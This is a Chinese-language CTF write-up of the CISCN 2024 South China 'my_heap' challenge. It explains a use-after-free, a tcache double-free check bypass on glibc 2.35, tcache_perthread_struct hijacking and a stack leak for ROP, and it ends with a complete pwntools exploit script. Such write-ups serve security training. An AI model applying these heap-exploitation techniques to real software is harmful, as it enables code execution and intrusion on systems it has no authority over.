CISCN 2024 华南赛区my_heap解
Feng_ZZ 发表于 广东 CTF 593浏览 · 2024-07-01 09:07

代码审计

一道标准菜单题,但是限制还是蛮多的

add函数

这里可以知道我们只能一个存储一个chunk指针——buf,当choose不等于1的时候会空申请一个0x4f0的堆块

dele函数

一眼出来的UAF,但是利用条件使得不是特别好利用

show函数

这里只有对我们输出的进行了异或加密,并且只能打印出来7个字节的数据,不过我们泄露的libc也就6个字节长

这里贴一下解密部分

for i in range(6):
    val = u8(p.recv(1))
    addr += (val ^ (0x99+i)) * 0x100**i

edit函数

这里是限制比较多的,我们只能修改8个字节大小

change函数

这里比之前那个要好一些,可以修改0x10字节,并且给了我们后门函数的地址

思路

如果你有查看对应程序的libc版本的话,就知道他是2.35版本的libc

所以,我们利用就十分受限

难点一

我们直接修改一个0x10字节,并且该版本的tcache bin加入了检测double free的机制,所以我们需要绕过才能机制才能利用tcache chunk

难点二

也是因为修改字节数少的原因,该版本下,我们可以利用的hook基本上以及没有了,所以目前只能通过两种手法进行利用:

  • 劫持stderrIO_FILE,实现FSOP
  • 泄露stack地址,实现ROP

但是我们修改字节数少,这里我是用第二种手法

解法

目前我们先要解决的是难点一,因为修改长度的原因,我们就可以把largebin attackpass掉了,所以只剩下绕过tcache chunk入链时的检测

这个是之前做题的一个奇奇怪怪的点,并没有仔细研究,后面估计会出一个文章来研究一下这个点

我们可以通过change的机会把对应释放的chunk0x10的数据位置全部给置零,就可以绕过去,猜测是后0x8字节是对该chunk是否已经进入过tcache bin的一个检测

这样的话,我们就可以任意申请地址了,下面又是利用难点,我们如何通过一次任意申请实现多次任意申请

我们回想一下,我们前面为什么不能直接用UAF,是因为tcache bin对应的counts只有1,所以我们修改指针后,申请不出来,所以我们只需要把对应的存储counts的位置覆盖为比1大的数,就可以实现申请出来

修改tcache_perthread_struct对应的值即可,所以我们劫持它

这样我们就有实现多次任意申请了

泄露stack地址,和ROP就不细说,最后注意一下栈对齐即可

getshell

exp

from pwn import*
context(arch='i386', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
#libc = ELF("../libc/")
libc = ELF("./libc.so.6")
"""""
def xxx():
    p.sendlineafter("")
    p.sendlineafter("")
    p.sendlineafter("")
"""

def get_p(name):
    global p,elf 
    p = process(name)
    # p = remote("172.16.75.169",9999)
    elf = ELF(name)

def add(idx,size):
    p.sendlineafter("edit",'1')
    p.sendlineafter("which one you choose?",str(idx))
    if idx != 0 :
        p.sendlineafter("size:",str(size))

def dele():
    p.sendlineafter("edit",'2')

def show():
    p.sendlineafter("edit",'3')

def edit(content):
    p.sendlineafter("edit",'4')
    p.sendafter("edit data:",content)

def backdoor(content):
    p.sendlineafter("edit",'5')
    p.recvuntil("0x")
    door = int(p.recv(12),16)
    p.sendafter("edit data:",content)
    return door
get_p("./my_heap")
add(1,0x50)
dele()
show()
p.recvuntil("the data")
p.recv(1)
heap_addr = 0
for i in range(5):
    val = u8(p.recv(1))
    heap_addr += (val ^ (0x99+i)) * 0x100**i

heap_addr = heap_addr * 0x1000
print(hex(heap_addr))

add(1,0x440)
add(0,0x500)

dele()
show()
p.recvuntil("the data") 
p.recv(1)

for i in range(6):
    val = u8(p.recv(1))
    libc.address += (val ^ (0x99+i)) * 0x100**i

libc.address -= 0x21ace0
print(hex(libc.address))

add(1,0x3d0)
dele()
add(1,0x10)
dele()
edit(p64(libc.sym['environ']^(heap_addr>>12)))
add(1,0x20)
dele()
add(1,0x30)
dele()
add(1,0x60)
dele()
door = backdoor("\x00"*0x10)
print(hex(door))
pie = door - 0x00012BE


dele()
gdb.attach(p,"")
sleep(2)
edit(p64((heap_addr+0x10)^(heap_addr>>12)))
add(1,0x60)
add(1,0x60)
edit(p16(0x3)*4)


add(1,0x10)
add(1,0x10)

show()
p.recvuntil("the data") 
p.recv(1)
stack = 0
for i in range(6):
    val = u8(p.recv(1))
    stack += (val ^ (0x99+i)) * 0x100**i

stack = stack - 0x80 - 8 - 0xa0
print(hex(stack))

shot = pie + 0x4010
add(1,0x20)
dele()
edit(p64(shot^(heap_addr>>12)))


print(hex(pie))
add(1,0x20)
add(1,0x20)
edit(p64(1))

add(1,0x30)
dele()

one_gadget = 0x10d9ca + libc.address
edit(p64(stack^(heap_addr>>12)))
add(1,0x30)
add(1,0x30)

backdoor(p64(0)+p64(pie + 0x0012C6))

p.sendlineafter("edit",'6')

p.interactive()
附件:
0 条评论
某人
表情
可输入 255